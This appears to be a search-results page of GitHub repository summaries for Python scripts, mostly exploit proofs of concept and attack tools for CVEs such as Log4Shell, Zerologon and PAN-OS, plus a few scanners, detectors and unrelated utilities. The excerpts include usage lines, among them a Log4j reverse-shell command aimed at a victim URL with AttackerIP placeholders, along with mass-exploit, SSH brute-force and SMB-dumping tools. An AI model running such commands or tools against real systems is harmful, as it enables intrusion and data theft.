1741 matches found
CheckHKRCE
CheckHKRCE CVE-2021-36260 Source code based on: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py Install Python 3.8 + pip install requests Windows 10 OS, Linux Ubuntu Used python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport 80 --check...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...
scan4log4j
scan4log4j Python script that sends CVE-2021-44228 log4j payload requests to url list VERY BETA using Supply your url list to urls.txt Put your payloads in payloads.txt Optional add more headers in headers.txt Run ./scan4log4j.py...
cve-2023-4966-iocs
Scan for CVE-2023-4966 IoCs Script: check-cve-2023-4966.py The script searches the Citrix NetScaler logs for possible CVE-2023-4966 exploitation. Usage usage: check-cve-2023-4966.py -h --nologline logdirpath Python script to check CitrixNetScaler logs for possible CVE-2023-4966 exploitation...
log4j_checker
Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...
URLCADIZ
URLCADIZ v1.0 Author: https://github.com/PerezMascato Twitter: https://twitter.com/perezmascato Email: [email protected] no... i'm not pwned! A simple script to generate a hidden url for social engineering. Legal disclaimer: Usage of URLCADIZ for attacking targets without prior mutual consen...
Zerologon_CVE-2020-1472
Zerologon CVE-2020-1472 This script is made for bulk checking your domain controllers for the Zerologon vulnerability. Note Zerologon vulnerabilities are dangerous for your domain controller, dont use the exploit on production servers. Arguments --ip Ip address for check on CVE-2020-1472 --file...
cve-2019-0708
cve-2019-0708 POC CVE-2019-0708 with python script! Video POC: https://www.youtube.com/watch?v=XVmCtUMELdU...
reachability
-- START DISCLAIMER -- USE AT OWN RISK -- IN NO WAY AM I RESPONSIBLE FOR ANY DAMAGES INCURRED -- IF YOU DON'T HAVE EXPLICT PERMISSION BY THE NETWORK OWNER DO NOT AND I REPEAT DO NOT LAUNCH THIS THIS IS PYTHON WRAPPED AROUND MASSCAN https://github.com/robertdavidgraham/masscan -- END DISCLAIMER--...
CVE-2023-20198
CVE-2023-20198 CVE-2023-20198 PoC ! Description perform actions on a target web server. The script demonstrates how to create a local user account, install an implant, restart the web server, check for the presence of the implant, and finally, clean up by deleting the created user account...
DumpSMBShare
A python script to dump files and folders remotely from a Windows SMB share. Features Only list shares with --list-shares. Select only files with given extensions with --extensions or all files. Choose the local folder to dump to with --dump-dir. Select base folder to search from in the share wit...
CVE-2017-12149
CVE-2017-12149 Jboss Java Deserialization RCE CVE-2017-12149 The python script uses ysoserial to dynamically generate the payload. Therefore java is required as well...
CVE-2024-0012-POC
This is actual POC, inspired by https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/ Usage like - python3 cve-2024-0012-pan-os-poc.py --url "https://target-system" --no-verify --no-verify if SSL doesn't work or expired else do not use this tag...
DVR_Sploit
DVRSploit Simple python3 script to automate CVE-2018-9995 Requirements: requests pip install requests Usage: root@fuckmachine: python3 dvrsploit.py Enter DVR host: 192.168.69.69 Enter DVR port: 88 Device list:...
thingernet-graph
thingernet-graph Python script to generate neo4j Cypher representation of a collection of IoT devices for visualisation and query. The script reads a directory of JSON files describing 'things' and creates the relevant neo4j cypher text for import to neo4j in order to produce a graph database...
telegram-story-scraper
Telegram Story Scraper 📱 A Python script that allows you to automatically scrape and download stories from your Telegram friends using the Telethon library. The script continuously monitors and saves both photos and videos from stories, along with their metadata. TGSS - Main Interface Important...
CVE-2024-4358_Mass_Exploit
CVE-2024-4358MassExploit Modified tools from @sinsinology to do mass exploit. Requirements Python 3.x Installation git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt How To Run usage: python CVE-2024-4358.py --target-fil...
Wallet-Transaction-Monitor
Wallet Transaction Monitor This script monitors a Bitcoin wallet address and notifies the user when there are changes in the balance or new transactions. It provides real-time updates on incoming and outgoing transactions, along with the corresponding amounts and timestamps. Additionally, it can...
buffalo
Buffalo A Python 3 script to execute dictionary/wordlist attacks on a target SSH server using two text files as input. Authored for the purposes of my Intel technical screening. Installation This script depends on Paramiko and Colorama. Install the dependencies via pip install -r requirements.txt...